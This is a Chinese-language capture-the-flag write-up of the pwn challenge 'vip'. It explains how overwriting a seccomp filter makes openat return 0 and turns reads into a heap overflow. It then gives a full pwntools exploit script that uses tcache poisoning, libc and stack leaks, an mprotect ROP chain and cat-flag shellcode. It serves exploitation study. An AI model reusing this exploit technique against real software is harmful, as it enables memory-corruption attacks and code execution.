[Pwn] vip - cpt.shao xp0int Posted on Sep 11 2019 `vip`函数中输入名字的时候可以覆盖部分的bpf,研究了一下seccomp-tools,发现除了`ALLOW`和`KILL`,还可以有一种`ERRNO`的规则,尝试以后发现可以把open的返回值变成0,这样在edit函数中就可以把让fd返回0,变成从标准输入读入任意长度的内容了。 ```c ssize_t __fastcall read_into(void *a1, int a2) { int fd; // [rsp+1Ch] [rbp-4h] if ( dword_4040E0 ) return read(0, a1, a2); fd = open("/dev/urandom", 0); if ( fd == -1 ) exit(0); return read(fd, a1, a2); } ``` 试了几次发现用以下的规则通过seccomp-tools编译过后可以达到这种效果: ```plain # check if arch is X86_64 A = sys_number A == openat ? ok : next return ALLOW ok: return ERRNO(0) ``` 需要注意的是,libc中open函数的系统调用号实际上是`openat`而不是`open`。有了这个堆溢出就能做tcache posion返回任意地址了。这次的思路是先通过got泄露libc地址,然后通过`environ`泄露栈地址,算好edit函数的返回地址,做一个简单rop用mprotect打开堆上的执行权限,然后直接调到堆上准备好的cat flag shellcode。不能直接execve或者system getshell,因为这些调用都需要open libc之类的操作,而open的系统调用已经被我们劫持了所以没法使用。 ## exp.py ```python from pwn import * import re context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' context.log_level = "debug" env = {'LD_PRELOAD': ''} if len(sys.argv) == 1: p = process('./vip') elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) bp_list = [] gdbcmd = "set $BSS=0x606020\n" # set addr variable here to easily access in gdb gdbcmd += "set $V=0x4040e0\n" gdbcmd += "set $L=0x404100\n" elf = ELF('vip') libc = ELF('./libc-2.27.so') se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr)) def alloc(idx): sla("choice:", "1") sla("Index:", str(idx)) def free(idx): sla("choice:", "3") sla("Index:", str(idx)) def show(idx): sla("choice:", "2") sla("Index:", str(idx)) content = ru("\nDone!") return content def edit(idx, size, content=None): sla("choice:", "4") sla("Index:", str(idx)) sla("Size:", str(size)) if content: sea("Content:", content) time.sleep(0.1) else: return def vip(content): sla("choice:", "6") sea("name:", content) time.sleep(0.1) alloc(0) alloc(1) alloc(2) alloc(3) free(2) free(1) alloc(1) leak_heap = show(1)[1:] leak_heap = uu64(leak_heap) info_addr("leak_heap", leak_heap) free(1) heap = leak_heap - 0x320 bpf = open('test.bpf', 'r').read() vip("a"*0x20 + bpf) edit(0, 0x68, "/bin/sh\x00".ljust(0x50) + p64(0) + p64(0x61) + p64(elf.got['free'])) alloc(4) alloc(5) leak = show(5)[1:] leak = uu64(leak) info_addr("leak", leak) libc.address = leak - libc.symbols['free'] info_addr("libc", libc.address) free(3) free(4) edit(0, 0x68, "/bin/sh\x00".ljust(0x50) + p64(0) + p64(0x61) + p64(libc.symbols['environ'])) alloc(4) alloc(5) stack = show(5)[1:] stack = uu64(stack) info_addr("stack", stack) sc = asm(shellcraft.linux.cat('flag')) target = stack - 0x130 free(4) edit(0, 0x68, sc.ljust(0x50) + p64(0) + p64(0x61) + p64(target)) alloc(4) alloc(5) pop_rdi = libc.address + 0x2155f pop_rdx_rsi = libc.address + 0x1306d9 rop = ROP(elf) rop.raw(pop_rdi) rop.raw(heap) rop.raw(pop_rdx_rsi) rop.raw(7) rop.raw(0x1000) rop.raw(libc.symbols['mprotect']) rop.raw(heap + 0x260) payload = rop.chain() edit(5, len(payload), payload) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [PWN] childjs - xfiles [PWN] mulnote - xfiles
没有帐号? 立即注册